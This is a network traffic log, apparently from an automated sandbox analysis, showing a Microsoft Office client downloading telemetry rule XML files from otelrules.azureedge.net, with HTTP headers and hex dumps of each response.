2024-11-28 05:49:04 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.5	49908	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:49:04 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:49:04 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:49:04 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 2a3cc61f-301e-001f-7491-3faa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054904Z-174f7845968n2hr8hC1EWR9cag0000000xpg000000005t9y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:49:04 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.5	49909	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:49:04 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:49:05 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:49:05 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 9fc3e736-101e-0046-4391-3f91b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054905Z-174f7845968j6t2phC1EWRcfe80000000y7g0000000032rh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:49:05 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.5	49911	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:49:05 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:49:06 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:49:06 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: ca68633c-201e-006e-1f8a-3fbbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054906Z-174f7845968jrjrxhC1EWRmmrs0000000y8g000000000aua x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:49:06 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.5	49912	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:49:06 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:49:06 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:49:06 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: ee9d1ea0-001e-00a2-4791-3fd4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054906Z-174f78459684bddphC1EWRbht40000000xqg00000000ap9t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:49:06 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.5	49913	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:49:06 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:49:06 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:49:06 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: d3a187f9-801e-0078-2263-40bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054906Z-174f7845968swgbqhC1EWRmnb40000000y6g000000005tm6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:49:06 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.5	49910	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:49:06 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:49:07 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:49:07 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: e291e3e3-001e-0079-6f05-4112e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054907Z-174f7845968pght8hC1EWRyvxg000000018000000000129h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:49:07 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.5	49914	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:49:07 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:49:07 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:49:07 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: e544c55f-801e-0083-3181-3ff0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054907Z-174f7845968swgbqhC1EWRmnb40000000y3g00000000bv2w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:49:07 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.5	49915	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:49:08 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:49:08 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:49:08 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: f5d1acec-801e-0078-3322-41bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054908Z-174f7845968nxc96hC1EWRspw80000000xqg00000000by0r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 05:49:08 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.5	49916	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:49:08 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:49:09 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:49:08 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: c3f555e4-101e-0028-3c1d-418f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054908Z-174f7845968px8v7hC1EWR08ng0000000y5000000000hn66 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 05:49:09 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.5	49917	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:49:08 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:49:09 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:49:08 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 13f42ca4-401e-000a-561c-414a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054908Z-174f78459685m244hC1EWRgp2c0000000xug0000000091zz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:49:09 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.5	49918	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:49:09 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:49:09 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:49:09 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: 216ae412-001e-0082-6078-405880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054909Z-174f78459684bddphC1EWRbht40000000xt00000000053vm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:49:09 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.5	49919	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:49:10 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
